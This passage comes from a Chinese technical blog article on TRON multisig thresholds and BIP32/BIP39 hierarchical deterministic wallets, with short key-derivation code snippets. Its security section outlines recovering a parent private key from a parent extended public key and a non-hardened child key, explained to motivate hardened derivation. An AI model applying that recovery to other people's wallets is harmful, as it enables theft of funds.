1px;">以 TEq6VNyFm7jiUcEssrkgsu8NV4C2jG5aWU 为例，这个账户的Owner permission的 threshold 为 2 ，地址为TEq6VNyFm7jiUcEssrkgsu8NV4C2jG5aWU 和 TDzfQDMXknfv12guDyP32zeJMgyyNGcqHD。这意味着对这个账户的所有操作都需要经过这两个地址同意才可以进行。</span></section><section style="text-align: center;text-indent: 0pt;break-after: avoid;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);"><img class="rich_pages wxw-img" data-ratio="0.21607142857142858" style="width:553.8084106445312px;height:121.0px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=3d16599f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldfdtlKib4iaX4lSzWUuPKbf044ksJq1DSdvNNHvYyYMcWIyBN7nm5icWhtUBsZgYw5wweSyHvRbTNKxA%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="text-align: center;text-indent: 0pt;break-after: avoid;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);"><br/></span></section><section data-mpa-template="t" mpa-from-tpl="t"><section mpa-from-tpl="t"><section style="margin: 10px 0px;" mpa-from-tpl="t"><section style="padding-right: 30px;display: inline-block;font-size: 18px;height: 40px;line-height: 40px;border-bottom: 1px solid rgb(67, 46, 46);" mpa-from-tpl="t">  <strong>风险</strong></section><section style="width: 50px;border-top: 3px solid rgb(67, 46, 46);" mpa-from-tpl="t"><br/></section></section></section></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">多签钱包最大的风险问题是：当多签钱包的部分私钥掌握在某些人（群体）中时，他们实际上也就拥有了对多签钱包的控制权。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">如果在多签的群体中，有不怀好意的验证者企图控制多签钱包时，他可以联合其他多签者来获得钱包的所有权。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">此时，其他负责任的验证者也无法改变“多签钱包已被毒化”的事实——他们无法联合足够的验证者来完成修正工作。</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: 0pt;">多签钱包中的多签规则能够在一定程度上预防上述的问题。</span></section><p style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;margin: 16px 16px 24px;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: 0pt;">但如果设置的多签规则中阈值未超过验证者数量的一半，那么意味着少数人的共识就能够代表大多数人，又或者如果验证者的数量过少，那么恶意的验证者仅需要花费较小的成本（策反部分验证者）就能够控制多签钱包。</span></p><p style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;margin: 16px 16px 24px;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">例如前段时间跨链桥项目 Harmony 被攻击，损失了将近1亿美元，其中有一部分原因就是多签规则的设置存在问题（2/5的多签对则），导致攻击者仅需要获取其中两个的私钥就可以控制多签钱包。</span></p><p style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;margin: 16px 16px 24px;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">因此，使用了多签钱包并不意味着绝对的安全和去中心化（社区自治）。同时还需要设置好多签规则，分配好对应的私钥，并确保拥有验证者私钥的主体之间不存在直接的利益关系。</span></p><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">多签规则的设计可以参考以下规则来提高多签钱包的安全性：</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">1、提高阈值，保证阈值大于验证者数量的一半</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">2、增加验证者的数量</span></section><h2 style="text-align: justify;text-indent: 0pt;break-after: avoid;font-size: 16pt;font-family: Calibri;color: rgb(79, 129, 189);line-height: 1.75em;margin: 16px 16px 24px;"><br/></h2><section style="margin-bottom: 24px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 14px;height: 15px;display: flex;justify-content: center;align-items: center;align-self: flex-start;z-index: 1;background: #FFFFFF;margin-bottom: -15px;margin-left: -2.1px;" data-mid="" mpa-from-tpl="t"><img data-ratio="1.0833333333333333" data-w="12" src="https://wechat2rss.xlab.app/img-proxy/?k=94dadb99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_svg%2FJVDECnNjedGVpoJMz3uW6z4rwwr0GJK5GwTjjMX8HdkwxuFiavhibvca4qAlXTKCaE6YGkZibSKEebNtAC56WAeNtibxuAjPgSAJ%2F640%3Fwx_fmt%3Dsvg"/></section><section style="width: 14px;height: 15px;display: flex;justify-content: center;align-items: center;align-self: flex-end;z-index: 1;margin-bottom: -13px;margin-right: -2.1px;background: #FFFFFF;" data-mid="" mpa-from-tpl="t"><img data-ratio="1.0833333333333333" data-w="12" src="https://wechat2rss.xlab.app/img-proxy/?k=4470c4d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_svg%2FqE9MKluetOlD8gpGKew1L3bpxQxia8sSu6bicyAqpRpICVLyPe0q1KBPcqxTdGsXVKuM4bZEYAqMXtWD9UKm7QmrDIADHSknIv%2F640%3Fwx_fmt%3Dsvg"/></section><section style="text-align: center;border-width: 1px;border-style: solid;border-color: rgb(27, 27, 27);padding: 9px 9px 7px 18px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 22px;letter-spacing: 2px;text-shadow: 1px 1px 0px #2A2A2A, 1px 0px 0px #2A2A2A, 0px 1px 0px #2A2A2A, 0px -1px 0px #2A2A2A, -1px 0px 0px #2A2A2A, -1px 1px 0px #2A2A2A, 1px -1px 0px #2A2A2A, -1px -1px 0px #2A2A2A;" data-mid="">分层确定性钱包</p></section><section style="width: 14px;height: 15px;display: flex;justify-content: center;align-items: center;align-self: flex-start;z-index: 1;background: #FFFFFF;margin-top: -13px;margin-left: -2.1px;" data-mid="" mpa-from-tpl="t"><img data-ratio="1.0833333333333333" data-w="12" src="https://wechat2rss.xlab.app/img-proxy/?k=5d12a14b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_svg%2FanblvjPKYbMeTTBE04NJlC7xdHcTw0Zr2pw7oRyyyU1OcS1bxCDIicTTfULAxI3Nnsxp4DQrOfHEicHzybp6icibpcHM9168PpAZ%2F640%3Fwx_fmt%3Dsvg"/></section><section style="width: 14px;height: 15px;display: flex;justify-content: center;align-items: center;align-self: flex-end;z-index: 1;margin-top: -15px;margin-right: -2.1px;background: #FFFFFF;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1.0833333333333333" data-w="12" src="https://wechat2rss.xlab.app/img-proxy/?k=5f57a8d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_svg%2FSYeWkon6C6JqUEnNYf8gnGKoWbXBpu9W48RrnGlj4ia1vX8m9PvwR0icA3q8DTEbJZHje4bZ2KDUP5DJP7PRxvmxyXs3UEYMOR%2F640%3Fwx_fmt%3Dsvg"/></section></section></section></section><section style="margin-bottom: 24px;"><br/></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">分层确定性钱包（heirarchical determinstic wallet, HD wallet），最早出现在BIP32的提案中。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">在分层确定性钱包出现之前，拥有一个地址就意味着要管理一份公私钥对，这对于有大量需求的使用者来说是极为不方便的事情，并且容易发生遗漏的现象。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">分层确定性钱包解决了这样的问题，它通过一个种子和一系列算法批量地生成私钥，使用者仅需要保存种子即可在后序的使用中获取到所有的公私钥对。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">后来又提出了助记词的概念，将种子转化为（12/15/18/21/24）个单词，使得使用者能够更方便地构建钱包，批量生成和管理私钥，以及备份钱包。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);"><br/></span></section><section data-mpa-template="t" mpa-from-tpl="t"><section mpa-from-tpl="t"><section style="margin: 10px 0px;" mpa-from-tpl="t"><section style="padding-right: 30px;display: inline-block;font-size: 18px;height: 40px;line-height: 40px;border-bottom: 1px solid rgb(67, 46, 46);" mpa-from-tpl="t">  <strong>生成助记词</strong></section><section style="width: 50px;border-top: 3px solid rgb(67, 46, 46);" mpa-from-tpl="t"><br/></section></section></section></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">生成助记词的主要步骤：</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">•生成一个长度为 128~256 位的随机序列（熵）</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">•取熵的 SHA256 后的前 n 位作为校验和（n=熵长度/32）</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">•将随机序列和校验和进行拼接</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">•把步骤 3 得到的结果按“每 11 位”进行切割</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">•步骤 4 得到的 11 位字节按照顺序，匹配官方词库中的词</span></section><section style="text-align: center;text-indent: 0pt;break-after: avoid;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);"><img class="rich_pages wxw-img" data-ratio="0.9017857142857143" style="width:553.8084106445312px;height:505.2699890136719px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=87f4cf61&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldfdtlKib4iaX4lSzWUuPKbf04TlVMuzbZUSSp9CFria7xP4txmrX3yFuLDtiaNbFIM7HlRdgJLDZO5Yqw%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><br/></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">官方词库中一共有（2^11=2048）个单词，并且在 BIP39 提案中规定了下面 3 个要求：</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">1、只使用前 4 个字母就可以无歧义地找到某个单词，即词库不中存在前 4 个字母相同的多个单词</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">2、避免包含相似的词，比如不会同时包含单词“woman”和“women”</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">3、词库本身排序</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;"><br/></span></section><section data-mpa-template="t" mpa-from-tpl="t"><section mpa-from-tpl="t"><section style="margin: 10px 0px;" mpa-from-tpl="t"><section style="padding-right: 30px;display: inline-block;font-size: 18px;height: 40px;line-height: 40px;border-bottom: 1px solid rgb(67, 46, 46);" mpa-from-tpl="t">  <strong>助记词生成私钥</strong></section><section style="width: 50px;border-top: 3px solid rgb(67, 46, 46);" mpa-from-tpl="t"><br/></section></section></section></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: 0pt;">助记词生成私钥的主要步骤：</span><br/></section><p style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">1、助记词转换为 512 位 seed 。使用 PBKDF2 算法对初始密钥进行延伸（key streching），以此来降低初始密钥被暴力破解的概率。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">passphrase =&#34;&#34;  # default value is &#34;&#34;</span></code><code><span class="code-snippet_outer">salt = bytes(&#34;mnemonic&#34;+ passphrase, &#39;utf8&#39;)</span></code><code><span class="code-snippet_outer">seed = hashlib.pbkdf2_hmac(&#39;sha512&#39;, mnemonic, salt, 2048)</span></code></pre></section><p style="margin: 16px 16px 24px;line-height: 1.75em;"><span style="font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 1px;">2、seed 生成 Master Private Key 和 Master Chain Code 。使用 HMAC-SHA512 算法对 seed 进行单向哈希得到 512 位二进制字符串，左边 256 位为 Master Private Key ，右边 256 位为 Master Chain Code 。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">h = hmac.new(b&#39;Bitcoin seed&#39;, seed, hashlib.sha512).digest()</span></code><code><span class="code-snippet_outer">master_private_key, master_chain_code = h[:32], h[32:]</span></code></pre></section><section style="text-align: center;word-break: break-all;font-size: 12pt;font-family: Cambria;font-weight: normal;text-indent: -24pt;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-style: italic;text-indent: -24pt;"> </span><span style="letter-spacing: 1px;font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);"> <img class="rich_pages wxw-img" data-ratio="0.32857142857142857" style="width:553.8084106445312px;height:184.39999389648438px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=740af6df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldfdtlKib4iaX4lSzWUuPKbf047yrFQ679UaZJfMUcgZUO5fgh8od3ibe1ZKMhERWVmyP2eibnRaLJuDYQ%2F640%3Fwx_fmt%3Dpng"/></span></section><p style="margin-left: 16px;margin-right: 16px;margin-top: 16px;line-height: 1.75em;text-align: justify;"><span style="font-size: 16px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">3、使用 Master Private Key ， Master Chain Code 和 index 作为第一轮导出函数的输入，不断地进行推导，得到 index 位置上的子私钥。</span></p><p style="margin-left: 16px;margin-right: 16px;margin-top: 16px;line-height: 1.75em;text-align: center;"><span style="letter-spacing: 1px;font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);"><img class="rich_pages wxw-img" data-ratio="0.25" style="width:553.8084106445312px;height:139.74000549316406px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=01ba41c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldfdtlKib4iaX4lSzWUuPKbf04ziaQBDZZkicYtCeyAyFGfXTZpic5OTeJBia5kLs3Gx43tpibqbaHiaM9FbhA%2F640%3Fwx_fmt%3Dpng"/></span></p><section style="margin-left: 16px;margin-right: 16px;margin-top: 16px;line-height: 1.75em;"><span style="font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 1px;">推导子私钥的简要步骤如下：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"> <span class="code-snippet__attribute">child_private_key</span> = HMAC-SHA512(Key=parent_chain_code, Data=(parent_private_key*secp256k1.G||index)) + parent_private_key</span></code></pre></section><section style="margin: 16px 16px 24px;line-height: 1.75em;"><span style="font-size: 16px;letter-spacing: 1px;">具体算法细节可以参考 BIP32 提案中 Key Derivation 部分</span></section><p style="font-family: Cambria;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;margin-bottom: 24px;margin-left: 16px;margin-right: 16px;"><span style="font-size: 12pt;">（</span><span style="text-decoration: none;color: rgb(84, 84, 84);"><a href="https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki" target="_blank">https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki</a></span><span style="font-size: 12pt;">）。</span></p><p style="font-family: Cambria;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;margin-bottom: 24px;margin-left: 16px;margin-right: 16px;"><span style="font-size: 12pt;"><br/></span></p><section data-mpa-template="t" mpa-from-tpl="t"><section mpa-from-tpl="t"><section style="margin: 10px 0px;" mpa-from-tpl="t"><section style="padding-right: 30px;display: inline-block;font-size: 18px;height: 40px;line-height: 40px;border-bottom: 1px solid rgb(67, 46, 46);" mpa-from-tpl="t">  <strong>私钥生成公钥</strong></section><section style="width: 50px;border-top: 3px solid rgb(67, 46, 46);" mpa-from-tpl="t"><br/></section></section></section></section><h3 style="margin: 16px 16px 24px;break-after: avoid;font-family: Calibri;color: rgb(79, 129, 189);font-weight: bold;font-size: 14pt;text-align: justify;white-space: normal;line-height: 1.75em;text-indent: 0em;"><span style="color: rgb(51, 51, 51);font-family: Cambria;font-size: 16px;letter-spacing: 1px;text-indent: 0em;">有两种方法可以生成公钥：</span><br/></h3><section style="margin: 16px 16px 24px;font-family: Cambria;font-size: 12pt;color: rgb(0, 0, 0);text-align: justify;white-space: normal;line-height: 1.75em;text-indent: 0em;"><span style="color: rgb(51, 51, 51);font-size: 16px;text-decoration: none;letter-spacing: 1px;"><span style="text-decoration: none;font-family: Cambria;">1、通过私钥求得（</span>secp256k1椭圆曲线算法，G为椭圆曲线的基点）<o:p></o:p></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ini"><code><span class="code-snippet_outer">public_key = private_key * secp256k1.G</span></code></pre></section><section style="color: rgb(0, 0, 0);font-size: medium;text-align: justify;white-space: normal;margin: 16px 16px 24px;line-height: 1.75em;text-indent: 0em;"><span style="letter-spacing: 1px;text-decoration: none;font-size: 16px;color: rgb(51, 51, 51);font-family: Cambria;"><o:p></o:p></span></section><section style="margin: 16px 16px 24px;font-family: Cambria;font-size: 12pt;color: rgb(0, 0, 0);text-align: justify;white-space: normal;line-height: 1.75em;text-indent: 0em;"><span style="color: rgb(51, 51, 51);font-size: 16px;text-decoration: none;letter-spacing: 1px;">2、通过父公钥推导出子公钥<o:p></o:p></span></section><section style="margin: 16px 16px 24px;font-family: Cambria;font-size: 12pt;color: rgb(0, 0, 0);text-align: justify;white-space: normal;line-height: 1.75em;text-indent: 0em;"><span style="color: rgb(51, 51, 51);font-size: 16px;text-decoration: none;letter-spacing: 1px;">在推导子私钥的过程中可以看到，由父私钥可以推导出子私钥。由公私钥之间的关系，可以构造出一个公钥推导函数，由父公钥推导出子公钥。</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><section style="margin-bottom: 24px;"><code><span class="code-snippet_outer">(1) child_private_key = HMAC-SHA512(Key=parent_chain_code, Data=(parent_private_key*secp256k1.G||index)) + parent_private_key</span></code><code><span class="code-snippet_outer">(2) public_key = private_key * secp256k1.G</span></code><code><span class="code-snippet_outer">由 (1) 和 (2) 公式可以推导出:</span></code><code><span class="code-snippet_outer">child_public_key = HMAC-SHA512(Key=parent_chain_code, Data=(parent_public_key||index))*secp256k1.G + parent_public_key</span></code></section></pre></section><section style="font-family: Cambria;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;margin-left: 16px;margin-right: 16px;margin-bottom: 24px;"><span style="font-size: 12pt;color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: 0em;">这个特性在实际使用过程中有重大的意义，</span><span style="font-size: 12pt;color: rgb(40, 104, 176);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><strong><span style="font-size: 12pt;color: rgb(40, 104, 176);letter-spacing: 1px;text-indent: 0em;">因为它允许在不使用父私钥的情况下，可以生成很多受父私钥控制的钱包地址</span></strong></span><span style="font-size: 12pt;color: rgb(40, 104, 176);"><strong><span style="letter-spacing: 1px;text-decoration-style: solid;text-decoration-color: rgb(84, 84, 84);text-indent: 0em;">。</span></strong></span></section><section style="font-family: Cambria;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;margin-left: 16px;margin-right: 16px;margin-bottom: 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-decoration-style: solid;text-decoration-color: rgb(84, 84, 84);text-indent: 0em;">比如说，私钥掌控人可以在服务器上存放父扩展公钥（</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: 0em;">parent extended public key），这样可以为需要使用服务的商户生成一系列的子公钥地址，用于收款或者其他用途。即使服务器被黑客攻破，私钥也不会泄露。</span><br/></section><section style="margin: 16px 16px 24px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 1px;">扩展密钥（extended key）是 BIP32 中规定的一种对密钥信息进行特定格式序列化后的结果。</span><o:p></o:p></section><p style="font-family: Cambria;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;margin-bottom: 24px;margin-left: 16px;margin-right: 16px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-decoration-style: solid;text-decoration-color: rgb(84, 84, 84);text-indent: 0em;">扩展密钥包含6种信息，分别为version, depth, parent key fingerprint, child number, chain code, public key。</span></p><p style="font-family: Cambria;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;margin-bottom: 24px;margin-left: 16px;margin-right: 16px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-decoration-style: solid;text-decoration-color: rgb(84, 84, 84);text-indent: 0em;"><br/></span></p><section data-mpa-template="t" mpa-from-tpl="t"><section mpa-from-tpl="t"><section style="margin: 10px 0px;" mpa-from-tpl="t"><section style="padding-right: 30px;display: inline-block;font-size: 18px;height: 40px;line-height: 40px;border-bottom: 1px solid rgb(67, 46, 46);" mpa-from-tpl="t"> <strong> 安全性</strong></section><section style="width: 50px;border-top: 3px solid rgb(67, 46, 46);" mpa-from-tpl="t"><br/></section></section></section></section><section style="color: rgb(0, 0, 0);font-size: medium;text-align: justify;white-space: normal;margin: 16px 16px 24px;line-height: 1.75em;text-indent: 0em;"><span style="letter-spacing: 1px;"><span style="font-size: 16px;text-decoration: none solid rgb(84, 84, 84);color: rgb(84, 84, 84);font-family: Cambria;"><span style="text-decoration: none solid rgb(84, 84, 84);">上述所展示均为</span> Non-Hardened Derivation。因为它存在一定的安全问题：从</span><strong><span style="font-family: Cambria;font-size: 16px;text-decoration: none solid rgb(84, 84, 84);color: rgb(40, 104, 176);">父扩展公钥</span></strong><span style="font-size: 16px;text-decoration: none solid rgb(84, 84, 84);color: rgb(84, 84, 84);font-family: Cambria;">和</span><strong><span style="font-family: Cambria;font-size: 16px;text-decoration: none solid rgb(84, 84, 84);color: rgb(40, 104, 176);">子私钥</span></strong><span style="font-size: 16px;text-decoration: none solid rgb(84, 84, 84);"><span style="text-decoration: none solid rgb(84, 84, 84);color: rgb(84, 84, 84);font-family: Cambria;"><span style="text-decoration: none solid rgb(84, 84, 84);">（</span>non-hardened），可以推导出父私钥，从而推导出所有的子私钥。</span><span style="text-decoration: none solid rgb(84, 84, 84);font-family: Cambria;color: rgb(84, 84, 84);"><o:p></o:p></span></span></span></section><section style="margin: 16px 16px 24px;font-family: Cambria;font-size: 12pt;color: rgb(0, 0, 0);text-align: justify;white-space: normal;line-height: 1.75em;text-indent: 0em;"><span style="color: rgb(84, 84, 84);font-size: 16px;text-decoration: none solid rgb(84, 84, 84);letter-spacing: 1px;">推导过程简述如下：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">已知：parent_extended_public_key 和 child_private_key</span></code><code><span class="code-snippet_outer">(1) 解析parent_extended_public_key，得到parent_chain_code和parent_public_key</span></code><code><span class="code-snippet_outer">(2) 由公钥推导函数可以通过爆破计算出index</span></code><code><span class="code-snippet_outer">(3) 变换私钥推导函数为parent_private_key = child_private_key - hmac_sha512(parent_chain_code, parent_private_key*G || index) ，计算出parent_private_key</span></code></pre></section><section style="color: rgb(0, 0, 0);font-size: medium;text-align: justify;white-space: normal;margin: 16px 16px 24px;line-height: 1.75em;text-indent: 0em;"><span style="color: rgb(84, 84, 84);font-size: 16px;letter-spacing: 1px;text-decoration: none solid rgb(84, 84, 84);font-family: Cambria;"><o:p></o:p></span></section><section style="color: rgb(0, 0, 0);font-size: medium;text-align: justify;white-space: normal;margin: 16px 16px 24px;line-height: 1.75em;text-indent: 0em;"><span style="text-decoration: none solid rgb(84, 84, 84);letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);font-family: Cambria;"><span style="text-decoration: none solid rgb(84, 84, 84);">为了避免上述的安全问题，官方对私钥的推导函数进行了完善。推导函数分为</span> Hardened 和 Non-Hardened 模式，Hardened 模式</span><span style="text-decoration: none solid rgb(84, 84, 84);letter-spacing: 1px;font-size: 16px;font-family: Cambria;color: rgb(40, 104, 176);"><strong>直接使用私钥</strong></span><span style="text-decoration: none solid rgb(84, 84, 84);letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);font-family: Cambria;"><span style="text-decoration: none solid rgb(84, 84, 84);">作为</span> HMAC-SHA512 的输入， Non-Hardened（也就是上述的推导过程） </span><span style="text-decoration: none solid rgb(84, 84, 84);letter-spacing: 1px;font-size: 16px;font-family: Cambria;color: rgb(40, 104, 